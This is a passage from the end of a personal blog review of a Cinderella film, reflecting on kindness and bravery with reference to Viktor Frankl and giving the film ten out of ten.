How much needless suffering and judgment would be done away if we could all live in a world where those two virtues were assiduously cultivated? To break the walls of fantasy and return to the real world for a moment, that’s exactly the message that one finds in Viktor Frankl’s Man’s Search for Meaning. Other human beings can take away from you everything you have – your clothes, your home, your food, your very life – but if we retain our bravery and our kindness, then no one can steal our humanity. Living in the poorest circumstances is not, in the end, an excuse for cruelty or parsimony or cowardice.

I left the theatre today with a heart full of gratitude that there are those in the world who are willing to put messages like this into the public stream of consciousness. Sure, they did it to make money, but that doesn’t bother me in the slightest. I want desperately to live in, and work for, a world where kindness and beauty and bravery and goodness are the rule rather than the exception.

Cary Elwes was the perfect Westley, Robin Wright the perfect buttercup. The Princess Bride should never be defiled with a remake. In my book, Cinderella has reached a zenith with this production, and needs never more to be tampered with.

Overall rating – ten out of ten stars.

Dang, those slippers, though.

The Old Wolf has spoken.